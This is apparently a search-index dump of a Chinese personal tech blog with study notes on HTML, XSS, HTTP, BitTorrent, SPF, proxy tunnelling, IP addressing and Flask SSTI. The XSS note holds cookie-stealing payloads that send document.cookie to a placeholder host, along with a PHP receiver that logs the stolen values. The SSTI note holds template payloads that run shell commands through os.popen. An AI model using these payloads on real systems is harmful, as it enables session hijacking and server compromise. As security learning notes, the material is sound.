<h1>*********一级标题</h1> <h2>*********二级标题</h2> <!-- 以此类推 --> <!-- 这个是注释格式 --> <!-- 也可以这样 --> <!-- 三种弹窗 --> <script>alert()</script> <script>confirm()</script> <script>prompt()</script> <!-- --> <p>这个是段落</p> <a herf=\"地址\">这个是链接</a> <!-- 引用地址 --> <img src=\"地址\",width=\"**\",height=\"**\" /> <!-- 引用图片 --> <tr> <td>row1,cell1</td> <td>row1,cell2</td> </tr> <tr> <td>row2,cell1</td> <td>row2,cell2</td> </tr> <!-- 以上是表格格式 --> <!--内嵌网页语法--> <iframe src=\"URL\"></iframe> <!--设置高度宽度--> <iframe src=\"url\" width=\"200\" height=\"200\"></iframe> <!--删除边框--> <iframe src=\"url\" frameborder=\"0\"></iframe> <!--可以跳转--> <iframe src=\"url\" name=frame_></iframe> <p><a href=\"url\" target=\"iframe_a\">urlname</a></p> XSS种类 反射型 存储型 DOM型 反射型不持久,仅支持单次链接 存储型储存在被攻击服务器,持久 DOM不传到后端,前端通过document对象获取信息,js拼接执行 Cookie#cookie组成 Name=Value 设置cookie名称和值,作为认证cookie,value值包括web服务器所提供的访问令牌 Expires 设置cookie的生存期。有两种cookie:会话型与持久型。Expires缺省是为会话型cookie,仅保留在客户端内存,用户关闭浏览器时失效 持久型保存在用户硬盘,生存期到期或用户注销结束会话才会失效 Path cookie所属u经,只有该路径及其下级目录可获取到该cookie Domain 指定了可以访问该Cookie的Web站点或域,只有这个域或子域才能获取该cookie Secure 表示该Cookie只可以使用https协议传输 HTTPOnly 设置HTTPOnly表示cookie不能被js读取,放置客户端通过document.cookie属性访问cookie SameSite 定义cookie如何跨域发送 三种攻击方式 请求带出 vps开启监听,向存在xss漏洞网站插入代码后,可以接收到目标的cookie(base64_encode) #攻击后浏览器打开新窗口,访问指定ip:端口,带上cookie <script>windows.open('http://ip:port/?q='+btoa(document.cookie));</script> #攻击在当前窗口访问ip和端口 <script>location.herf='http://ip:port/?q='+btoa(document.cookie);</script> 访问指定网址执行js #构造js var img = document.createElement(\"img\"); img.src = \"http://ip:port/?q=\"+btoa(document.cookie); document.body.appendChild(img); #构造payload <script src=http://ip:port/js_location></script> 利用xss平台 BLUE-LOTUS else…… <?php $filename ='cookies.txt'; $f = fopen($filename,'a') $cookie =urldecode($_GET['msg']) . PHP_EOL; fwrite($f,$cookie); fclose($f); ?> 它会把msg参数的值进行url解码后再保存到cookies.txt这个文件里面。 接下来就是构造JS代码来发起一个http请求了。利用Image对象就可以很轻易地完成该任务,新建一个Image对象,然后设置src属性,浏览器在碰到src属性的时候,会自动请求该src指向的url。这个url就写我们刚才写的接收cookie的页面的url,并且传msg参数过去,值为cookie。最终构造的语句为: <script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script> function xssDom(){ var str = document.getElementById("msg").Value; document.getElementById("show").innerHTML = "<a href="" + str + "'>xssDom</a>" 我们要让他没有语法错误,就需要构造语句闭合一些标签,所以,我们首先需要一个单引号来闭合 a标签的href属性。然后一个“>”来闭合a标签的“<”。这样构造以后,就变成了“在这里构造利用代码’>xssDom”。所以我们可以构造如下语句: '><script>alert('xss');</script> w3c规定innerHTML进来的script标签内的脚本代码无法执行。 直接插入script无法执行,但是我们可以利用事件来触发,比如:onerror,onclick等。 构造如下数据: ' onclick=alert(/xss/) // 此时页面代码就变成了: <a href='' onclick=alert(/xss/) //'>xssDom</a> 还有其他构造方法。例如我们闭合a标签,然后引入另外一个标签,比如img标签,利用img标签在加载src的时候,如果出错会触发onerror函数,我们就可以做到自动执行脚本代码而不需要交互。尝试输入如下数据: '><img src=123 onerror=alert(/xss/) /> 页内跳转页面内的跳转需要两步: 方法一: ①:设置一个锚点链接<a href=\"#libai\">我是李白</a>;(注意:href属性的属性值最前面要加#) ②:在页面中需要的位置设置锚点<a name=\"libai\"></a>;(注意:a标签中要写一个name属性,属性值要与①中的href的属性值一样,不加#)标签中按需填写必要的文字,一般不写内容 方法二: ①:同方法一的① ②:设置锚点的位置 <h3 id=\"libai\">我是李白</h3>;在要跳转到的位置的标签中添加一个id属性,属性值与①中href的属性值一样,不加# 方法二不用单独添加一个a标签来专门设置锚点 ,只在需要的位置的标签中添加一个id即可。"},{"title":"conda回滚","path":"2023/09/04/Code/Python/conda回滚/","text":"Conda回滚 可用于回滚base环境 conda list --revisions conda install --revision [版本号/版本id]"},{"title":"DNSlist","path":"2023/09/04/Network/DNSlist/","text":"DNSlist cloudflare: 1.1.1.1 1.0.0.1 google: 8.8.8.8 8.8.4.4 辽宁移动:211.140.197.58 211.137.32.178 ali: 223.5.5.5 223.6.6.6"},{"title":"HTTP","path":"2023/09/04/Network/HTTP/","text":"HTTP请求(request)、响应(response) 请求报文: 请求行 请求头 请求体 graph LR 请求报文-->请求行 请求报文-->请求头 请求报文-->请求体 请求行-->请求方法 请求行-->参数 请求行-->协议方法 请求头-->请求头及对应值 请求体-->请求正文 响应报文: 响应行 响应头 响应体 graph LR 响应报文-->响应行 响应报文-->响应头 响应报文-->响应体 响应行-->响应协议 响应行-->状态码 响应行-->描述 响应头-->响应头及对应值 响应体-->响应正文 行请求方法请求方法(所有方法全为大写)有多种,各个方法的解释如下: GET 请求获取Request-URI所标识的资源 POST 在Request-URI所标识的资源后附加新的数据 HEAD 请求获取由Request-URI所标识的资源的响应消息报头 PUT 请求服务器存储一个资源,并用Request-URI作为其标识 DELETE 请求服务器删除Request-URI所标识的资源 TRACE 请求服务器回送收到的请求信息,主要用于测试或诊断 CONNECT 保留将来使用 OPTIONS 请求查询服务器的性能,或者查询与资源相关的选项和需求 头请求头Accept 浏览器通过这个头,告诉服务器它所支持的数据类型 Accept-Charset 浏览器通过这个头,告诉服务器它采用的字符集 Accept-Encoding 浏览器通过这个头,告诉服务器,它所支持的压缩格式 Accept-Language 浏览器通过这个头,告诉服务器,它所采用的语言 Host 浏览器通过这个头,告诉服务器,我想访问服务器哪台主机 If-Modified-Since 浏览器通过这个头,告诉服务器,它缓存数据时间是多少。 Referer 浏览器通过这个头,告诉服务器,我是从哪个网页点过来的(防盗链) User-Agent 浏览器通过这个头,告诉服务器,当前浏览器操作系统的信息,以及浏览器的版本号 Connection 通过这个头来标识此次请求使用的是长连接还是短连接 Date 响应头Location 这个头通常配合302状态码使用,它用于告诉浏览器你去找谁。 Server 告诉浏览器,服务器的类型 Content-Encoding 服务器通过这个头,告诉浏览器,回送的数据采用的压缩格式。 Content-Length: 80 Content-Language: zh-cn Content-Type 这个头用于告诉浏览器,回送数据的类型 Last-Modified 这个头用于告诉浏览器,数据的最后修改时间 Refresh 这个头用于控制浏览器定时刷新 Content-Disposition 用于通知浏览器,以下载方式打开回送的数据 Transfer-Encoding 用于通知浏览器,数据是以分块形式回送的 ETag 缓存相头的头 Expires 用于说明网页的失效时间,如果该值为一个<0的值,则服务器是通知浏览器不要缓存 Cache-Control: no-cache 通知浏览器不要缓存 Pragma: no-cache 数据类型: text/html:HTML格式text/plain :纯文本格式text/xml : XML格式image/gif :gif图片格式image/jpeg :jpg图片格式image/png:png图片格式video/mpeg:视频vedio/quicktime:视频application/xhtml+xml :XHTML格式application/xml : XML数据格式application/atom+xml :Atom XML聚合格式application/json : JSON数据格式application/pdf :pdf格式application/msword : Word文档格式application/octet-stream : 二进制流数据(如常见的文件下载)application/x-www-form-urlencoded : < form encType=””>中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式) 状态码 1xx:服务器接受浏览器消息未完成 2xx:成功,200 3xx:重定向,302,304(访问缓存) 4xx:客户端错误,401(未经过验证),404(没有找到访问资源),403(无权限访问),405(请求方法不允许) 5xx:服务器错误,500(服务器内部异常) GET通过/?变量=value 传入数据 POST在请求体中直接赋值传入数据"},{"title":"BitTorrent 原理简介","path":"2023/09/04/Network/BitTorrent 原理简介/","text":"BitTorrent 原理简介By 01月12日 2017 P2P P2PBTTCPUDPTrackerDHT 引言之前我这边在生产环境中使用 Murder 软件的 BT 上传下载的方式来实现大文件的快速分发。这属于 BT 软件的应用。最近重新看了下 BT 协议的分析与实现,现在重新了解下 BT 协议原理。 BitTorrent 原理简述与传统客户端/服务器网络通信模式不同,对等方到对等方(P2P)通信模式在近年来越来越流行起来。 在 P2P 模式中,服务和资源分布化,资源不集中存储在某些设备上,而是分散存储在运行 P2P 程序的设备上, 每一个对等方都可以为其他对等方提供服务。 BitTorrent(中文全称比特流,简称 BT)是一个网络文件传输协议,是能够实现点对点文件分享的技术。 在大多数人感觉中与 P2P 成了对等的一组概念,而它也将 P2P 技术发展到了近乎完美的地步。 研究 BitTorrent 协议对我们深入把握 P2P 技术,了解 Interent 网络发展的未来走向有很大的意义。 BitTorrent 协议是架构于 TCP/IP 协议之上的一个 P2P 文件传输协议,处于 TCP/IP 结构的应用层。 BitTorrent 协议本身也包含了很多具体的内容协议和扩展协议,并在不断扩充中。 如果有多个下载者并发的下载同一个文件,则每个下载者也同时为其它下载者上传文件, 这样,文件源可以支持大量的用户进行下载,而只带来适当的负载的增长。 BitTorrent 协议把提供下载的文件虚拟分成大小相等的块,块大小必须为 2k 的整数次方 (由于是虚拟分块,硬盘上并不产生各个块文件),并把每个块的索引信息和 Hash 验证码 写入 .torrent 文件(即种子文件,也简称为“种子”)中,作为被下载文件的“索引”。 下载者要下载文件内容,需要先得到相应的 .torrent 文件,然后使用 BT 客户端软件进行下载。 下载时,BT 客户端首先解析 .torrent 文件得到 Tracker 地址,然后连接 Tracker 服务器。 Tracker 服务器回应下载者的请求,提供下载者其他下载者(包括发布者)的 IP。 或者,BT客户端也可解析 .torrent 文件得到 nodes 路由表,然后连接路由表中的有效节点, 由网络节点提供下载者其他下载者的 IP。 下载者再连接其他下载者,根据 .torrent 文件,两者分别对方告知自己已经有的块, 然后交换对方没有的数据。此时不需要其他服务器参或者其他网络节点的参与, 分散了单个线路上的数据流量,因此减轻了服务器负担。 下载者每得到一个块,需要算出下载块的 Hash 验证码与 .torrent 文件中的对比, 如果一样则说明块正确,不一样则需要重新下载这个块。 因此,下载的人越多,提供的带宽也越多,种子也会越来越多,下载速度就越快。 从 BT 客户端角度考虑,下载原理分为以下几步: 一.根据 BitTorrent 协议,文件发布者会根据要发布的文件生成提供一个 .torrent 文件。 客户端可从 Web 服务器上下载种子文件,并从中得到 Tracker 服务器 URL 和 DHT 网络 nodes 等信息。 二.根据 Tracker URL 与 Tracker 服务器建立连接,并从服务器上得到 Peers 信息。 或者根据 nodes 与 DHT 网络中节点通信,并从节点上得到 Peers 信息。 三.根据 Peers 信息与一个 Peer 建立连接,依据 Peer wire 协议完成握手, 并从 Peer 端下载数据文件。同时监听 Peer 的连接,并给 Peer 上传数据文件。 依据得到 Peers 信息的途径的不同,可分为使用 Tracker 服务器和使用 Trackerless DHT 网络两种方式。 基于 HTTP 的 Tracker 协议, 基于 UDP 的 Trackerless 协议, 基于 TCP 的 Peer wire 协议。 虽然目前的主流 BT 软件都大同小异,但是往往各软件都有一些各自的特点。 当然这些都不能起到决定性作用,前面说了,BT 下载速度取决于其他用户的上传速度,因此用户越多越好,而用户靠 Peer、DHT、Tracker 获得。 Peer:获得一个有效用户后才会起作用,该用户会把它获得的用户信息告诉你。——DHT:布式储存用户信息,获得一个用户后,会通过该用户获得更多的用户信息。缺点是需要养(下载热门资源)。 Peer、DHT 我们做不了什么,但是 Tracker 大部分软件都支持自定义,所以如果你的 BT 软件支持自定义 Tracker,那么可以试试下面这个整合了全网热门 Tracker 的项目: 官方网站:trackerslist.com 项目主页:github.com/XIU2/TrackersListCollection 相关文章:zhuanlan.zhihu.com/p/85135793 这就引出了一个问题,*Tracker 是什么?* Tracker 是 BT 下载中一个几乎必须的角色。 Tracker:记录下载同一个资源的用户信息并提供给你,帮助你与其他用户建立连接。*以上三者的优缺点是互补的,不存在谁替代谁,一起用效果最好!* 使用 Tracker 可以帮你获取到更多的用户,用户数量增加,相应的也会提高下载速度。 使用这些 Tracker 的人越多,用户数量就越多,大家的下载速度就越快!"},{"title":"SPF 是什么","path":"2023/09/04/Network/SPF 是什么/","text":"SPF 是什么目前广泛使用的发信协议 SMTP 中,发信方可以任意设定发件人的邮箱地址,任何人都可以假冒自己是 boss@your-corp.com 向其他人发送邮件。因此,SPF (Sender Policy Framework) 机制被提出来,用以校验电子邮件发送方(邮件传输代理,MTA),只有被 your-corp.com 所认可的服务器才可以发送以 boss@your-corp.com 作为发件人的邮件。邮件接收方会借助 SPF 记录与 IP 地址来识别发件服务器是否合法,并根据 SPF 记录的指示判断同意接收邮件或者拒收。 如何部署 SPFDNS 系统中曾经有一种专门的 SPF 资源记录类型,但已经被废除了。现在的 SPF 都以 TXT 资源记录的形式存在,主机名一般为 @。比如本博客的 SPF 如下: ➞ dig chenxy.me txt +short \"v=spf1 include:spf.mail.qq.com ~all\" SPF 记录的格式SPF 记录以单个空格作为多个子项的分割符,每个子项由 qualifier、mechanism、modifier 等组件构成。在解析时将从左往右匹配,如果有任意一个子项匹配成功,则立即中止匹配过程并根据 qualifier 返回 SPF 校验结果。 SPF 记录以固定的 v=spf1 开始,标识着 SPF 版本,目前固定为 spf1。 Qualifier 与 MechanismQualifierSPF 中存在的 qualifier 被放置在 mechanism 之前,共有以下四种。其中 + 作为默认的 qualifier,可以被省略。 Qualifier Result Explanation (若相应的 mechanism 匹配成功) + Pass 一个明确的声明,该发送方的机器通过了检查,可以从本域的邮箱发送邮件 - Fail 一个明确的声明,该发送方的机器未通过检查,不允许从本域的邮箱发送邮件 ~ Soft Fail 一个较弱的声明,该发送方的机器似乎没通过检查 ? Neutral 本域的管理者未明确声明该发送方的机器是否通过检查 Mechanismallall 永远会成功匹配,鉴于这个原因,all 后边的 mechanism 将不会生效。all 一般作为最后一个 mechanism,配合 qualifier 用以配置「默认行为」——如果其他策略全部匹配失败了,本域对这些漏网之鱼的政策是什么。 以本站的 SPF 配置 v=spf1 include:spf.mail.qq.com ~all 为例:如果 include 这一项 mechanism 匹配失败,则最终来到 all 并匹配成功,根据其 qualifier 返回了「soft fail」结果——一般邮件接收方不会将这封邮件拒收,但是会将邮件归入垃圾邮箱之中。 includeinclude 的格式为 include: *domain-spec*,它将会触发一次递归的 SPF 校验过程,让邮件接收方去检查 domain-spec 所设置的 SPF 记录。只有当 domain-spec 的校验结果是 pass 时(注意:soft fail 也不行),本项 mechanism 才会被视为匹配成功。 include 机制被期望用于处理「跨行政边界」的情况,即所需要的 SPF 规则被置于不属于本域管辖的域名之下。它更像是「导入第三方依赖库」,而下边将提到的 redirect 则更像「公司内部的一段公共代码」。 exists格式为 exists: *domain-spec*,接收方将向指定域名发送一条 A 记录查询(即便是 IPv6 也使用查询 A 记录),如果有任何返回则匹配成功。可以用来做一些比较复杂的校验。 其中,domain-spec 可以包括以下的宏: 宏 含义 示例 s 发件人邮箱地址 hsiaoxychen@example.com l 发件人的「本地地址」 hsiaoxychen o 发件人的域名部分 example.com d 当前正在验证的 SPF 权威域名。一般与上边一致,但是在解析 include 时可能发生改变 example.com i 发件方的 IP 114.5.1.4 v 如果是 IPv4 则为 in-addr,如果是 IPv6 则为 ip6 in-addr h HELO/EHLO 的域名 mail.example.com 同时,如果在宏的后边附加上 r,可以使得取值被逆序。如,假设我们有以下 SPF 记录: v=spf1 exists:%{ir}.%{l}._spf.example.com -all 同时,在 _spf.example.com 子域下仅有一条 A 记录: 4.1.5.114.noreply._spf.example.com IN A 127.0.0.1 则只有从 114.5.1.4 发送的来自 [email protected] 的邮件能通过 SPF 校验。 其他的 Mechanism其他的 mechanism 包括:a、mx、ip4、ip6、exists,他们的机制都比较相似且比较好理解,整理如下: a 若发送方 IP 命中了指定域名的任意一条 A 记录(或 AAAA 记录,根据这次发送行为经由 IPv4 还是 IPv6 而决定)IP 地址,则匹配成功 mx 若发送方 IP 命中了指定域名的任意一条 MX 记录,则匹配成功 ip4 若发送方 IP 命中了指定的 IPv4 地址(段),则匹配成功 ip6 若发送方 IP 命中了指定的 IPv6 地址(段),则匹配成功 Modifiermodifier 的语法与 mechanism 稍有不同,其没有 qualifier,而且键值划分不是 : 而是 =。目前共有两种 modifier,分别是 redirect 跟 exp。exp 用以 SPF 校验失败后告知服务器如何生成解释文本,在此不作介绍;redirect 可以将后续的 SPF 校验过程「重定向」到目标域名。比如 gmail.com 的 SPF 记录: ➞ dig gmail.com txt +short \"globalsign-smime-dv=CDYX+XFHUw2wml6/Gb8+59BsH31KzUr6c1l2BPvqKX8=\" \"v=spf1 redirect=_spf.google.com\" ➞ dig _spf.google.com txt +short \"v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all\" 虽然在不同的域名之下,但是 _spf.google.com 的 SPF 策略将可以代表 gmail.com。 注意 redirect 必须作为 SPF 记录的最后一个部分出现,并且当有 all 出现时 redirect 将必须被忽略。 SPF 记录实例分析➞ dig chenxy.me txt +short \"v=spf1 include:spf.mail.qq.com ~all\" # 检查 spf.mail.qq.com 的匹配结果,如果匹配失败,则返回 soft fail ➞ dig spf.mail.qq.com txt +short \"v=spf1 include:spf-a.mail.qq.com include:spf-b.mail.qq.com include:spf-c.mail.qq.com include:spf-d.mail.qq.com include:spf-e.mail.qq.com include:spf-f.mail.qq.com include:spf-g.mail.qq.com -all\" # 依次检查各个 include 的匹配结果,如果都匹配失败,则返回 fail ➞ dig spf-a.mail.qq.com txt +short \"v=spf1 ip4:203.205.251.0/24 ip4:103.7.29.0/24 ip4:59.36.129.0/24 ip4:113.108.23.0/24 ip4:113.108.11.0/24 ip4:119.147.193.0/24 ip4:119.147.194.0/24 ip4:59.78.209.0/24 ip4:113.96.223.0/24 ip4:183.3.226.0/24 ip4:183.3.255.0/24 ip4:59.36.132.0/24 -all\" # 如果发件方不在这些 ip 段之中则返回 fail 貌似实际应用的 SPF 记录中几乎都不使用 exists、exp 等机制,大多只是简单的划定合法 ip 段。 另外一种比较典型的 SPF 记录写法是: v=spf1 a mx ip4:114.5.1.4 -all 代表「只有本域名的 a、mx 记录中的 ip 以及 114.5.1.4 可以代表本域发出邮件」,常见于自建的私人邮件服务器。 拓展阅读 Using SPF Macros to Solve the Operational Challenges of SPF 如果你对 exists 及 SPF 中的宏感兴趣,这篇文章很值得一看 红蓝对抗之邮件伪造 - FreeBuf网络安全行业门户 [2011.08420] Weak Links in Authentication Chains: A Large-scale Analysis of Email Sender Spoofing Attacks 来自清华的论文,研究了多种绕过 SPF、DKIM、DMARC 等机制的伪造邮件攻击方式 参考资料 RFC 7208 - Sender Policy Framework (SPF) for Authorizing Use of Domains in Email, Version 1 RFC 4408 - Sender Policy Framework (SPF) for Authorizing Use of Domains in E-Mail, Version 1 [OBSOLETE] SPF 记录:原理、语法及配置方法简介 - Blog - Renfei Song Explaining SPF record | Postmark"},{"title":"端口转发、二级代理、隧道中转、链式代理 - 科学上网 技术分享","path":"2023/09/04/Network/端口转发、二级代理、隧道中转、链式代理 - 科学上网 技术分享/","text":"端口转发、二级代理、隧道中转、链式代理 - 科学上网 技术分享视频文档x-ui安装x-ui:bash <(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh) gost-v3项目地址:https://github.com/go-gost/gost 官方文档:https://gost.run 端口转发x-ui启用端口转发:创建 dokodemo-door gost启用端口转发:./gost -L tcp://:9527/落地机ip:80 二级代理 参考:https://youtu.be/Vj4TGd9IaQc 隧道中转方式1:中转机:./gost -L tcp://:9527 -F relay+tls://1.1.1.1:8443 落地机:./gost -L relay+tls://:8443/:80 方式2:中转机:./gost -L tcp://:9527/1.1.1.1:80 -F relay+tls://1.1.1.1:8443 落地机:./gost -L relay+tls://:8443 后台运行:nohup 运行指令 > gost.log 2>&1 & 链式代理clash: - name: \"链式代理\" type: relay proxies: - proxy1 - proxy2 - proxy3 v2ray代理链:https://toutyrater.github.io/advanced/outboundproxy.htmlgost代理链:https://gost.run/concepts/chain/"},{"title":"计算机网络","path":"2023/09/04/Network/计算机网络/","text":"计算机网络硬件RJ45接头(水晶头) 种类: T568a T568b IP地址因mac地址无层次结构,不方便寻址,研发了ip协议 00000000 | 00000000 | 00000000 | 00000000 三类ip地址 A、B、C为三类公网地址 A类开头:0 网络号前8位(1.0.0.0~126.255.255.255) B类开头:10 网络号前16bit(128.0.0.0~191.255.255.255) C类开头:110 网络号前24bit(192.0.0.0~223.255.255.255) D类多播 E类保留 地址块 (CIDR) 范围 地址数 效用域 用途 0.0.0.0/8 0.0.0.0 – 0.255.255.255 16,777,216 软件 用于广播信息到当前主机。 10.0.0.0/8 10.0.0.0 – 10.255.255.255 16,777,216 专用网络 用于专用网络中的本地通信。 100.64.0.0/10 100.64.0.0 – 100.127.255.255 4,194,304 专用网络 用于在电信级NAT环境中服务提供商与其用户通信。 127.0.0.0/8 127.0.0.0 – 127.255.255.255 16,777,216 主机 用于到本地主机的环回地址。 169.254.0.0/16 169.254.0.0 – 169.254.255.255 65,536 链路 用于单链路的两个主机之间的链路本地地址,而没有另外指定IP地址,例如通常从DHCP服务器所检索到的IP地址。[5] 172.16.0.0/12 172.16.0.0 – 172.31.255.255 1,048,576 专用网络 用于专用网络中的本地通信。 192.0.0.0/24 192.0.0.0 – 192.0.0.255 256 专用网络 用于IANA的IPv4特殊用途地址表。 192.0.2.0/24 192.0.2.0 – 192.0.2.255 256 文档 分配为用于文档和示例中的“TEST-NET”(测试网),它不应该被公开使用。 192.88.99.0/24 192.88.99.0 – 192.88.99.255 256 互联网 用于6to4任播中继。 (已废弃) 192.168.0.0/16 192.168.0.0 – 192.168.255.255 65,536 专用网络 用于专用网络中的本地通信。 198.18.0.0/15 198.18.0.0 – 198.19.255.255 131,072 专用网络 用于测试两个不同的子网的网间通信。 198.51.100.0/24 198.51.100.0 – 198.51.100.255 256 文档 分配为用于文档和示例中的“TEST-NET-2”(测试-网-2),它不应该被公开使用。 203.0.113.0/24 203.0.113.0 – 203.0.113.255 256 文档 分配为用于文档和示例中的“TEST-NET-3”(测试-网-3),它不应该被公开使用。 224.0.0.0/4 224.0.0.0 – 239.255.255.255 268,435,456 互联网 用于多播。 233.252.0.0/24 233.252.0.0 - 233.252.0.255 256 文档 分配为用于文档和示例中的“MCAST-TEST-NET”,它不应该被公开使用 240.0.0.0/4 240.0.0.0 – 255.255.255.254 268,435,455 互联网 用于将来使用。 255.255.255.255/32 255.255.255.255 1 子网 用于受限广播地址。 网络地址保留网络号,其余均为0,是分配的第一个地址(保留) 子网掩码网络号和子网号均为1,其余主机号均为0 ip数量 (BIN)2^n,可用ip (BIN)2^n-2 n=主机号位数= (DEC)2^(32-cidr) 2^(32-cidr)-2 n=cidr 与ip地址作&运算,可以获得网络地址(主机号全0) eg:10.0.0.0 广播地址(主机号全1)(分配的最后一个地址,保留) eg:10.0.0.255 IP每2^8进一位,可算出最后一个ip地址 给定ip段算上网络地址,所以最终ip需要-1 IPV6 0000:0000:0000:0000:0000:0000:0000:0000 — ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff 保留lan地址: fc00::/7 fe80::/10 地址块(CIDR) 范围 地址数 效用域 用途 ::/128 :: 1 软件 未指定地址。 ::1/128 ::1 1 主机 用于到本地主机的环回地址。 ::ffff:0:0/96 ::ffff:0:0 – ::ffff:ffff:ffff (::ffff:0.0.0.0 – ::ffff:255.255.255.255) 232 软件 IPv4映射地址。 100::/64 100:: – 100::ffff:ffff:ffff:ffff 264 RFC 6666中废除的前缀。 64:ff9b::/96 64:ff9b:: 64:ff9b::ffff:ffff (64:ff9b::0.0.0.0 – 64:ff9b::255.255.255.255) 232 全球互联网[13] 用于IPv4/IPv6转换。(RFC 6052) 2001::/32 2001:: – 2001::ffff:ffff:ffff:ffff:ffff:ffff 296 全局 用于Teredo通道。 2001:10::/28 2001:10:: – 2001:1f:ffff:ffff:ffff:ffff:ffff:ffff 2100 软件 已弃用(先前为ORCHID)。 2001:20::/28 2001:20:: – 2001:2f:ffff:ffff:ffff:ffff:ffff:ffff 2100 软件 ORCHIDv2。 2001:db8::/32 2001:db8:: – 2001:db8:ffff:ffff:ffff:ffff:ffff:ffff 296 文档 用于文档和示例源代码中的地址。 2002::/16 2002:: – 2002:ffff:ffff:ffff:ffff:ffff:ffff:ffff 2112 全球互联网 用于6to4。 fc00::/7 fc00:: – fdff:ffff:ffff:ffff:ffff:ffff:ffff:ffff 2121 专用网络 用于专用网络中的本地通信。 fe80::/10 fe80:: – febf:ffff:ffff:ffff:ffff:ffff:ffff:ffff 2118 链路 用于主机之间的链路本地地址。 ff00::/8 ff00:: – ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff 2120 全球互联网 用于多播地址。 DCE/DTEdce线:packet tracer 中第一个选择的机器为dce侧,另一端为dte侧 dte线相反"},{"title":"Nodejs","path":"2023/09/04/Network/Nodejs/Nodejs/","text":"Nodejsnpm存储路径C:\\Users\\Wray\\.npmrc / %userprofile%\\.npmrc registry=https://registry.npm.taobao.org/ #default: https://registry.npmjs.org/ prefix=F:\\nodejs cache=F:\\nodejs\\npm_cache one-click npm config set prefix 'F:\\nodejs' && npm config set prefix 'F:\\nodejs\\npm_cache' Pnpm存储路径%appdata%\\Local\\pnpm\\config\\rc | C:\\Users\\Wray\\AppData\\Local\\pnpm\\config\\rc prefix=F:\\nodejs store-dir=F:\\nodejs\\store\\v3 one-click pnpm config set prefix 'F:\\nodejs' && npm config set store-dir 'F:\\nodejs\\store\\v3'"},{"title":"SSTI Flask模板","path":"2023/09/04/Network/Safety/SSTI Flask模板/","text":"SSTI Flask模板基础控制结构 {% %} 变量取值 {{ }} 注释 {# #} __class__ 类的一个内置属性,表示实例对象的类。 __base__ 类型对象的直接基类 __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__ __mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。 __subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order. __init__ 初始化类,返回的类型是function __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。 __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b') __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。 __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()] __str__() 返回描写这个对象的字符串,可以理解成就是打印出来。 url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}} current_app 应用上下文,一个全局变量。 request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\\self\\fd/3').read() request.args.x1 get传参 request.values.x1 所有参数 request.cookies cookies参数 request.headers 请求头参数 request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type:a/b) request.json post传json (Content-Type: application/json) config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} g {{g}}得到<flask.g of 'flask_ssti'> # 获得一个字符串实例 >>> \"\" '' # 获得字符串的type实例 >>> \"\".__class__ <type 'str'> # 获得其父类 >> \"\".__class__.__mro__ (<type 'str'>, <type 'basestring'>, <type 'object'>) # 获得父类中的object类 >>> \"\".__class__.__mro__[2] <type 'object'> # 获得object类的子类,但发现这个__subclasses__属性是个方法 >>> \"\".__class__.__mro__[2].__subclasses__ <built-in method __subclasses__ of type object at 0x10376d320> # 使用__subclasses__()方法,获得object类的子类 >>> \"\".__class__.__mro__[2].__subclasses__() [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class 